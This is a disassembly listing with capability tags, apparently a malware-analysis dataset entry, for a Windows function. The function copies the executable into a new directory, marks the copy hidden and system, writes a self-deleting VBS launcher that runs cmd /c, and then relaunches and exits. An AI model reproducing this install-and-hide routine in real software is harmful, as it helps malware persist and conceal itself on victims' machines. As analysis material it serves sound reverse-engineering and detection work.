Function at 0x40b871
Capabilities:
Copy file
Create directory
Create process on windows
Set file attributes
Terminate process

Disassembly:
sub esp, 0xc8
push ebx
push ebp
push esi
mov ebx, edx
mov byte [esp + 0x13], cl
push edi
push ebx
call fcn.004399eb
mov ebp, 0x472218
pop ecx
test eax, eax
je 0x40b8e2
push 0
mov ecx, ebp
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov edi, dword [esp + 0xdc]
lea ecx, [esp + 0x18]
push edi
push 0x4632c0
mov edx, ebp
call fcn.004081c7
pop ecx
mov edx, eax
lea ecx, [esp + 0x4c]
call fcn.00402ff4
pop ecx
mov esi, 0x4721e8
push eax
mov ecx, esi
call fcn.00401ef3
lea ecx, [esp + 0x48]
call fcn.00401ee9
lea ecx, [esp + 0x18]
jmp 0x40b909
mov edi, dword [esp + 0xdc]
lea ecx, [esp + 0x48]
mov dl, byte [esp + 0x17]
push edi
call fcn.0040c63a
pop ecx
mov esi, 0x4721e8
push eax
mov ecx, esi
call fcn.00401ef3
lea ecx, [esp + 0x48]
call fcn.00401ee9
mov ecx, esi
call fcn.00401ee4
push eax
mov ebp, 0x46fb08
push ebp
call fcn.0043a108
pop ecx
pop ecx
test eax, eax
jne 0x40b941
mov ecx, 0x4721d0
call fcn.00401ee4
push eax
push ecx
call fcn.0040b77f
pop ecx
pop ecx
mov al, 1
jmp 0x40bc9b
push 0
mov ecx, esi
call fcn.00401ee4
push eax
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CopyFileW]
call ebp
test eax, eax
jne 0x40b9f5
cmp byte [esp + 0x17], 0x36
je 0x40b9f5
push ebx
call fcn.004399eb
mov dl, 0x36
pop ecx
lea ecx, [esp + 0x30]
push edi
test eax, eax
je 0x40b9b9
push 0x4632c0
push ebx
call fcn.0040c63a
pop ecx
mov edx, eax
lea ecx, [esp + 0x68]
call fcn.00402ff4
pop ecx
mov edx, eax
lea ecx, [esp + 0x7c]
call fcn.00402ff4
pop ecx
push eax
mov ecx, esi
call fcn.00401ef3
lea ecx, [esp + 0x78]
call fcn.00401ee9
lea ecx, [esp + 0x60]
call fcn.00401ee9
jmp 0x40b9c7
call fcn.0040c63a
pop ecx
push eax
mov ecx, esi
call fcn.00401ef3
lea ecx, [esp + 0x30]
call fcn.00401ee9
push 0
mov ecx, esi
call fcn.00401ee4
push eax
mov edi, 0x46fb08
push edi
call ebp
test eax, eax
jne 0x40b9f5
push edi
mov ecx, esi
call fcn.00408093
xor al, al
jmp 0x40bc9b
mov ecx, 0x4721d0
call fcn.00401ee4
push eax
push ecx
call fcn.0040b77f
cmp byte [esp + 0xe8], 1
pop ecx
pop ecx
jne 0x40ba3e
push 7
mov ecx, esi
call fcn.00401ee4
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push eax
call edi
push ebx
call fcn.004399eb
pop ecx
test eax, eax
je 0x40ba3e
push 7
mov ecx, 0x472218
call fcn.00401ee4
push eax
call edi
push str..vbs
push ecx
lea ecx, [esp + 0x98]
call fcn.00419a89
pop ecx
push eax
push 0x4632c0
push 0x463bd8
call fcn.00439fef
pop ecx
push eax
lea ecx, [esp + 0x88]
call fcn.0040415e
mov edx, eax
lea ecx, [esp + 0x6c]
call fcn.00402ff4
pop ecx
mov edx, eax
lea ecx, [esp + 0x38]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [esp + 0x4c]
call fcn.00402ff4
pop ecx
lea ecx, [esp + 0x30]
call fcn.00401ee9
lea ecx, [esp + 0x60]
call fcn.00401ee9
lea ecx, [esp + 0x78]
call fcn.00401ee9
lea ecx, [esp + 0x90]
call fcn.00401ee9
push str.WScript.Sleep_1000_n
lea ecx, [esp + 0x1c]
call fcn.0040415e
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [esp + 0x1c]
call fcn.0040808e
cmp byte [esp + 0xe4], 1
mov ebx, 0x463c7c
jne 0x40bb93
push ebx
mov edi, 0x462e34
lea ecx, [esp + 0xc4]
push edi
push 0x46fb08
call fcn.0040415e
push eax
push edi
push 0x463c80
lea ecx, [esp + 0xbc]
call fcn.0040415e
mov edx, eax
lea ecx, [esp + 0x88]
call fcn.00402ff4
pop ecx
mov edx, eax
lea ecx, [esp + 0x6c]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [esp + 0x38]
call fcn.00402ff4
pop ecx
mov edx, eax
lea ecx, [esp + 0x94]
call fcn.00402ff4
pop ecx
push eax
lea ecx, [esp + 0x1c]
call fcn.0040323d
lea ecx, [esp + 0x90]
call fcn.00401ee9
lea ecx, [esp + 0x30]
call fcn.00401ee9
lea ecx, [esp + 0x60]
call fcn.00401ee9
lea ecx, [esp + 0x78]
call fcn.00401ee9
lea ecx, [esp + 0xa8]
call fcn.00401ee9
lea ecx, [esp + 0xc0]
call fcn.00401ee9
push ebx
push str._____0
lea ecx, [esp + 0x68]
call fcn.0040415e
push eax
push esi
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [esp + 0x40]
call fcn.0040415e
mov edx, eax
lea ecx, [esp + 0x9c]
call fcn.004042fd
pop ecx
mov edx, eax
lea ecx, [esp + 0xb0]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [esp + 0xc4]
call fcn.00402ff4
pop ecx
push eax
lea ecx, [esp + 0x1c]
call fcn.0040323d
lea ecx, [esp + 0xc0]
call fcn.00401ee9
lea ecx, [esp + 0xa8]
call fcn.00401ee9
lea ecx, [esp + 0x90]
call fcn.00401ee9
lea ecx, [esp + 0x30]
call fcn.00401ee9
lea ecx, [esp + 0x60]
call fcn.00401ee9
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [esp + 0x1c]
call fcn.0040808e
xor ebx, ebx
lea ecx, [esp + 0x48]
push ebx
call fcn.00401ee4
push eax
lea ecx, [esp + 0x20]
call fcn.0040245c
mov esi, eax
lea ecx, [esp + 0x20]
add esi, esi
call fcn.00401ee4
mov edx, esi
mov ecx, eax
call fcn.0041a2d5
pop ecx
pop ecx
test al, al
je 0x40bc89
push ebx
mov eax, 0x463100
lea ecx, [esp + 0x4c]
push eax
push eax
call fcn.00401ee4
push eax
push 0x4630c0
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40bc89
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [esp + 0x18]
call fcn.00401ee9
lea ecx, [esp + 0x48]
call fcn.00401ee9
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc8
ret